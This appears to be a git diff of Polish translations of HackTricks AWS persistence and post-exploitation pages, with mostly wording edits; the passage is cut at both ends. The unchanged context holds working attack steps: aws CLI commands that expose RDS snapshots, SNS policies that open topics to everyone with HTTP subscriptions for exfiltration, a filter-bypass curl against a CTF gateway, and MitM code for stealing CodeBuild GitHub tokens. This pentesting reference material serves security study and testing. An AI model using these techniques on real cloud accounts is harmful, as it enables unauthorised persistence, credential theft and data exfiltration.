 
-Zauważ, że możliwe jest użycie **warstw lambda z zewnętrznych kont**. Co więcej, lambda może używać warstwy z zewnętrznego konta, nawet jeśli nie ma uprawnień.\
-Zauważ również, że **maksymalna liczba warstw, które może mieć lambda, wynosi 5**.
+Należy zauważyć, że możliwe jest użycie **warstw lambda z zewnętrznych kont**. Co więcej, lambda może używać warstwy z zewnętrznego konta, nawet jeśli nie ma uprawnień.\
+Należy również zauważyć, że **maksymalna liczba warstw, które może mieć lambda, wynosi 5**.
 
 Dlatego, aby poprawić wszechstronność tej techniki, atakujący mógłby:
 
-- Wprowadzić tylną furtkę w istniejącej warstwie użytkownika (nic nie jest zewnętrzne)
+- Wprowadzić backdoora do istniejącej warstwy użytkownika (nic nie jest zewnętrzne)
 - **Utworzyć** **warstwę** w **swoim koncie**, dać **koncie ofiary dostęp** do używania warstwy, **skonfigurować** **warstwę** w Lambdzie ofiary i **usunąć uprawnienia**.
 - **Lambda** nadal będzie mogła **używać warstwy**, a **ofiara nie** będzie miała łatwego sposobu na **pobranie kodu warstwy** (oprócz uzyskania powłoki rev wewnątrz lambdy)
 - Ofiara **nie zobaczy zewnętrznych warstw** używanych z **`aws lambda list-layers`**
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index c63e584ce..29114baee 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź:
 ../aws-services/aws-lightsail-enum.md
 {{#endref}}
 
-### Pobierz klucze SSH instancji i hasła do bazy danych
+### Pobierz klucze SSH instancji i hasła do DB
 
-Prawdopodobnie nie będą zmieniane, więc ich posiadanie to dobra opcja na utrzymanie dostępu.
+Prawdopodobnie nie będą zmieniane, więc posiadanie ich to dobry wybór na utrzymanie dostępu
 
 ### Backdoor Instancji
 
@@ -26,8 +26,8 @@ Atakujący mógłby uzyskać dostęp do instancji i wprowadzić backdoora:
 
 Jeśli domeny są skonfigurowane:
 
-- Utwórz subdomenę wskazującą na Twój adres IP, aby uzyskać **przejęcie subdomeny**
-- Utwórz rekord **SPF**, który pozwoli Ci wysyłać **emaile** z domeny
-- Skonfiguruj **adres IP głównej domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów
+- Utwórz subdomenę wskazującą na Twój IP, aby mieć **przejęcie subdomeny**
+- Utwórz rekord **SPF**, który pozwala Ci wysyłać **emaile** z domeny
+- Skonfiguruj **główny adres IP domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index b0311a420..eecd9df15 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -16,11 +16,11 @@ Atakujący z tym uprawnieniem może **zmodyfikować istniejącą instancję RDS,
 ```bash
 aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
 ```
-### Create an admin user inside the DB
+### Utwórz użytkownika administratora w bazie danych
 
-Atakujący mógłby po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło głównego użytkownika zostanie zmienione, **nie traci dostępu** do bazy danych.
+Atakujący może po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło głównego użytkownika zostanie zmienione, **nie traci dostępu** do bazy danych.
 
-### Make snapshot public
+### Uczyń migawkę publiczną
 ```bash
 aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index 9c9947e8c..308e0a0a9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -10,16 +10,16 @@ Aby uzyskać więcej informacji, sprawdź:
 ../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}
 
-### KMS Szyfrowanie po stronie klienta
+### KMS Client-Side Encryption
 
-Gdy proces szyfrowania jest zakończony, użytkownik użyje API KMS do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł ponownie użyć KMS:
+Gdy proces szyfrowania jest zakończony, użytkownik użyje API KMS do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł go ponownie odszyfrować za pomocą KMS:
 
 <figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
 
-W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i deszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go użyć.
+W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i odszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go wykorzystać.
 
-### Używanie ACL S3
+### Using S3 ACLs
 
-Chociaż zazwyczaj ACL koszyków są wyłączone, atakujący z wystarczającymi uprawnieniami mógłby je nadużyć (jeśli są włączone lub jeśli atakujący może je włączyć), aby zachować dostęp do koszyka S3.
+Chociaż zazwyczaj ACL-e kubełków są wyłączone, atakujący z wystarczającymi uprawnieniami mógłby je nadużyć (jeśli są włączone lub jeśli atakujący może je włączyć), aby zachować dostęp do kubełka S3.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 3ba6c28ec..b9aa3c8a5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -12,13 +12,13 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### Poprzez Polityki Zasobów
 
-Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź [**stronę Privesc Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) po więcej informacji. Zauważ, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**.
+Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź stronę [**Secrets Manager Privesc**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) po więcej informacji. Zauważ, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**.
 
 ### Poprzez Lambda Rotacji Sekretów
 
-Aby **automatycznie rotować sekrety**, wywoływana jest skonfigurowana **Lambda**. Jeśli atakujący mógłby **zmienić** **kod**, mógłby bezpośrednio **wyeksportować nowy sekret** do siebie.
+Aby **automatycznie rotować sekrety**, wywoływana jest skonfigurowana **Lambda**. Jeśli atakujący mógłby **zmienić** **kod**, mógłby bezpośrednio **wyeksfiltrować nowy sekret** do siebie.
 
-Tak mógłby wyglądać kod lambda do takiej akcji:
+Tak może wyglądać kod lambda do takiej akcji:
 ```python
 import boto3
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 18205f120..a8094607b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -12,8 +12,8 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### Persistence
 
-Podczas tworzenia **tematu SNS** musisz wskazać w polityce IAM **kto ma dostęp do odczytu i zapisu**. Możliwe jest wskazanie zewnętrznych kont, ARN ról lub **nawet "\*"**.\
-Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w temacie SNS o nazwie **`MySNS.fifo`**:
+Tworząc **SNS topic**, musisz wskazać w polityce IAM **kto ma dostęp do odczytu i zapisu**. Możliwe jest wskazanie zewnętrznych kont, ARN ról lub **nawet "\*"**.\
+Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w SNS topic o nazwie **`MySNS.fifo`**:
 ```json
 {
 "Version": "2008-10-17",
@@ -67,7 +67,7 @@ Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w temacie SN
 
 Aby kontynuować eksfiltrację wszystkich wiadomości ze wszystkich tematów, atakujący może **utworzyć subskrybentów dla wszystkich tematów**.
 
-Zauważ, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**.
+Należy zauważyć, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**.
 ```bash
 aws sns subscribe --region <region> \
 --protocol http \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 85a3009c2..21d99e6c2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -1,8 +1,8 @@
-# AWS - Utrzymywanie Funkcji Kroków
+# AWS - Utrzymywanie w Step Functions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Funkcje Kroków
+## Step Functions
 
 Aby uzyskać więcej informacji, sprawdź:
 
@@ -10,12 +10,12 @@ Aby uzyskać więcej informacji, sprawdź:
 ../aws-services/aws-stepfunctions-enum.md
 {{#endref}}
 
-### Wprowadzanie Tylnych Drzwi do Funkcji Kroków
+### Backdooring funkcji krokowych
 
-Wprowadź tylne drzwi do funkcji kroków, aby wykonała dowolny trik utrzymania, tak aby za każdym razem, gdy jest uruchamiana, wykonywała twoje złośliwe kroki.
+Zainstaluj backdoora w funkcji krokowej, aby wykonała dowolny trik utrzymania, tak aby za każdym razem, gdy jest uruchamiana, wykonywała twoje złośliwe kroki.
 
-### Wprowadzanie Tylnych Drzwi do Aliasów
+### Backdooring aliasów
 
-Jeśli konto AWS używa aliasów do wywoływania funkcji kroków, możliwe byłoby zmodyfikowanie aliasu, aby używał nowej wersji funkcji kroków z tylnymi drzwiami.
+Jeśli konto AWS używa aliasów do wywoływania funkcji krokowych, możliwe byłoby zmodyfikowanie aliasu, aby używał nowej wersji funkcji krokowej z backdoorem.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 5a6869ca6..b5c084c61 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, przejdź do:
 
 ### Token roli
 
-Tymczasowe tokeny nie mogą być wylistowane, więc utrzymanie aktywnego tymczasowego tokena jest sposobem na utrzymanie trwałości.
+Tymczasowe tokeny nie mogą być wylistowane, więc utrzymanie aktywnego tymczasowego tokena jest sposobem na zachowanie trwałości.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
@@ -22,11 +22,11 @@ aws sts get-session-token \
 --token-code &#x3C;code-from-token>
 
 # Nazwa urządzenia sprzętowego to zazwyczaj numer z tyłu urządzenia, taki jak GAHT12345678
-<strong># Nazwa urządzenia SMS to ARN w AWS, taki jak arn:aws:iam::123456789012:sms-mfa/nazwa_użytkownika
-</strong># Nazwa urządzenia wirtualnego to ARN w AWS, taki jak arn:aws:iam::123456789012:mfa/nazwa_użytkownika
+<strong># Nazwa urządzenia SMS to ARN w AWS, taki jak arn:aws:iam::123456789012:sms-mfa/username
+</strong># Nazwa urządzenia wirtualnego to ARN w AWS, taki jak arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
-### Żonglowanie rolami
+### Juggling łańcucha ról
 
 [**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaszenia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwaną odnowę poświadczeń.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index b9c70cf50..ca2a4bc67 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -21,7 +21,7 @@ Ta technika została znaleziona w [**tym opisie CTF**](https://blog-tyage-net.tr
 
 Jak wskazano w [**dokumentacji AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) w sekcji `PassthroughBehavior`, domyślnie wartość **`WHEN_NO_MATCH`**, podczas sprawdzania nagłówka **Content-Type** żądania, przekaże żądanie do zaplecza bez transformacji.
 
-W związku z tym, w CTF brama API miała szablon integracji, który **zapobiegał wyciekowi flagi** w odpowiedzi, gdy wysłano żądanie z `Content-Type: application/json`:
+W związku z tym, w CTF brama API miała szablon integracji, który **zapobiegał wyciekowi flagi** w odpowiedzi, gdy żądanie zostało wysłane z `Content-Type: application/json`:
 ```yaml
 RequestTemplates:
 application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
@@ -32,11 +32,11 @@ Na koniec, ponieważ API Gateway pozwalał tylko na `Get` i `Options`, możliwe
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
-### Usage Plans DoS
+### Plany Użytkowania DoS
 
-W sekcji **Enumeration** możesz zobaczyć, jak **uzyskać plan użycia** kluczy. Jeśli masz klucz i jest on **ograniczony** do X użyć **na miesiąc**, możesz **po prostu go użyć i spowodować DoS**.
+W sekcji **Enumeracja** możesz zobaczyć, jak **uzyskać plan użytkowania** kluczy. Jeśli masz klucz i jest on **ograniczony** do X użyć **na miesiąc**, możesz **po prostu go użyć i spowodować DoS**.
 
-**API Key** musi być **dołączony** w **nagłówku HTTP** o nazwie **`x-api-key`**.
+**Klucz API** musi być **dołączony** w **nagłówku HTTP** o nazwie **`x-api-key`**.
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
@@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
+**Potencjalny wpływ**: Wycieki wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
 
 > [!NOTE]
 > Wymaga testowania
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
 
-Napastnik z uprawnieniami `apigateway:UpdateStage` i `apigateway:CreateDeployment` może **zmodyfikować istniejący etap API Gateway, aby przekierować ruch do innego etapu lub zmienić ustawienia pamięci podręcznej, aby uzyskać nieautoryzowany dostęp do danych w pamięci podręcznej**.
+Atakujący z uprawnieniami `apigateway:UpdateStage` i `apigateway:CreateDeployment` może **zmodyfikować istniejący etap API Gateway, aby przekierować ruch do innego etapu lub zmienić ustawienia pamięci podręcznej, aby uzyskać nieautoryzowany dostęp do danych w pamięci podręcznej**.
 ```bash
 API_ID="your-api-id"
 STAGE_NAME="Prod"
@@ -69,7 +69,7 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potencjalny wpływ**: Nieautoryzowany dostęp do pamięci podręcznej danych, zakłócanie lub przechwytywanie ruchu API.
+**Potencjalny wpływ**: Nieautoryzowany dostęp do danych w pamięci podręcznej, zakłócanie lub przechwytywanie ruchu API.
 
 > [!NOTE]
 > Wymaga testowania
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
+**Potencjalny wpływ**: Wycieki wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
 
 > [!NOTE]
 > Wymaga testowania
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia API Gateway REST API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API**.
+Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia REST API bramy API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API**.
 ```bash
 API_ID="your-api-id"
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 5a9928365..1d333427f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -26,6 +26,6 @@ Uzyskując dostęp do odpowiedzi, możesz ukraść ciasteczko użytkowników i w
 
 - **Zmień kod** funkcji lambda, aby ukraść wrażliwe informacje
 
-Możesz sprawdzić [**kod tf, aby odtworzyć te scenariusze tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+Możesz sprawdzić [**kod tf do odtworzenia tych scenariuszy tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 5fe157268..d58459e68 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### Sprawdź Sekrety
 
-Jeśli poświadczenia zostały ustawione w Codebuild do łączenia się z Github, Gitlab lub Bitbucket w formie osobistych tokenów, haseł lub dostępu za pomocą tokena OAuth, te **poświadczenia będą przechowywane jako sekrety w menedżerze sekretów**.\
+Jeśli dane uwierzytelniające zostały ustawione w Codebuild w celu połączenia z Github, Gitlab lub Bitbucket w formie tokenów osobistych, haseł lub dostępu za pomocą tokena OAuth, te **dane uwierzytelniające będą przechowywane jako sekrety w menedżerze sekretów**.\
 Dlatego, jeśli masz dostęp do odczytu menedżera sekretów, będziesz mógł uzyskać te sekrety i przejść do połączonej platformy.
 
 {{#ref}}
@@ -27,16 +27,16 @@ Aby skonfigurować **CodeBuild**, będzie potrzebny **dostęp do repozytorium ko
 
 **Projekt CodeBuild musi mieć dostęp** do skonfigurowanego dostawcy źródła, albo za pomocą **roli IAM**, albo z użyciem **tokena github/bitbucket lub dostępu OAuth**.
 
-Atakujący z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których mają dostęp ustawione poświadczenia.\
-Aby to zrobić, atakujący musiałby tylko **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane poświadczenia** (zauważ, że strona aws wyświetli wszystkie z nich):
+Napastnik z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których ustawione dane uwierzytelniające mają dostęp.\
+Aby to zrobić, napastnik musiałby po prostu **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane dane uwierzytelniające** (zauważ, że strona aws wyświetli wszystkie z nich):
 
 <figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
 
-I **zmienić polecenia Buildspec, aby wyeksportować każde repozytorium**.
+I **zmienić polecenia Buildspec, aby wyeksfiltrować każde repozytorium**.
 
 > [!WARNING]
-> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, atakujący **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\
-> Czyżby? Sprawdź następny rozdział
+> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, napastnik **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\
+> A może ma? Sprawdź następny rozdział
 
 ### Wyciek Tokenów Dostępu z AWS CodeBuild
 
@@ -54,11 +54,11 @@ Napastnik mógłby usunąć cały projekt CodeBuild, co spowodowałoby utratę k
 ```bash
 aws codebuild delete-project --name <value>
 ```
-**Potencjalny wpływ**: Utrata konfiguracji projektu i zakłócenia w działaniu aplikacji korzystających z usuniętego projektu.
+**Potencjalny wpływ**: Utrata konfiguracji projektu i zakłócenie działania aplikacji korzystających z usuniętego projektu.
 
 ### `codebuild:TagResource` , `codebuild:UntagResource`
 
-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów, śledzenie zasobów i polityki kontroli dostępu w oparciu o tagi.
+Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
 ```bash
 aws codebuild tag-resource --resource-arn <value> --tags <value>
 aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 22a31d0a0..633cfe94e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -10,7 +10,7 @@ aws codebuild list-source-credentials
 ```
 ### Via Docker Image
 
-Jeśli stwierdzisz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **ekstrahować** ten **dostęp** (**GH token lub OAuth token**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu.
+Jeśli odkryjesz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **ekstrahować** ten **dostęp** (**token GH lub token OAuth**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu.
 
 W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **obraz Docker**.
 
@@ -27,7 +27,7 @@ Obraz Docker, którego możesz użyć, to [https://github.com/carlospolop/docker
 
 <figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
 
-3. **Ustaw proxy MitM w swoim hoście**
+3. **Ustaw proxy MitM na swoim hoście**
 
 - Jak wskazano w **repozytorium Github**, możesz użyć czegoś takiego:
 ```bash
@@ -36,13 +36,13 @@ mitmproxy --listen-port 4444  --allow-hosts "github.com"
 > [!TIP]
 > Wersja **mitmproxy używana to 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.
 
-4. **Uruchom budowę i przechwyć poświadczenia**
+4. **Uruchom budowę i przechwyć dane uwierzytelniające**
 
 - Możesz zobaczyć token w nagłówku **Authorization**:
 
 <figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
 
-Można to również zrobić z aws cli za pomocą czegoś takiego
+Można to również zrobić z aws cli za pomocą czegoś takiego jak
 ```bash
 # Create project using a Github connection
 aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,10 +73,10 @@ aws codebuild start-build --project-name my-project2
 ```
 ### Via insecureSSL
 
-**Codebuild** projekty mają ustawienie zwane **`insecureSsl`**, które jest ukryte w sieci i można je zmienić tylko z poziomu API.\
+**Codebuild** projekty mają ustawienie zwane **`insecureSsl`**, które jest ukryte w interfejsie webowym, można je zmienić tylko z poziomu API.\
 Włączenie tego pozwala Codebuild na połączenie z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
 
-- Najpierw musisz enumerować bieżącą konfigurację za pomocą czegoś takiego:
+- Najpierw musisz wyenumerować bieżącą konfigurację za pomocą czegoś takiego:
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
@@ -134,7 +134,7 @@ mitm.run()
 
 ### ~~Via HTTP protocol~~
 
-> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już tego nadużywać :)**
+> [!TIP] > **Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już z niej korzystać :)**
 
 Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby wyciekować token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**.
 
@@ -144,7 +144,7 @@ Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby wyciekować tok
 
 <figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
 
-- Następnie zmień URL repozytorium github, aby używał HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
+- Następnie zmień URL repozytorium github na używający HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
 - Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
 ```python
 from mitm import MITM, protocol, middleware, crypto
@@ -158,11 +158,11 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
-- Następnie kliknij na **Zbuduj projekt** lub rozpocznij budowę z linii poleceń:
+- Następnie kliknij **Zbuduj projekt** lub rozpocznij budowę z linii poleceń:
 ```sh
 aws codebuild start-build --project-name <proj-name>
 ```
-- W końcu **poświadczenia** będą **wysyłane w czystym tekście** (base64) do portu mitm:
+- W końcu **dane uwierzytelniające** będą **wysyłane w czystym tekście** (base64) do portu mitm:
 
 <figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index a2ece8d0d..9e6752fd3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -6,13 +6,13 @@
 
 ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
 
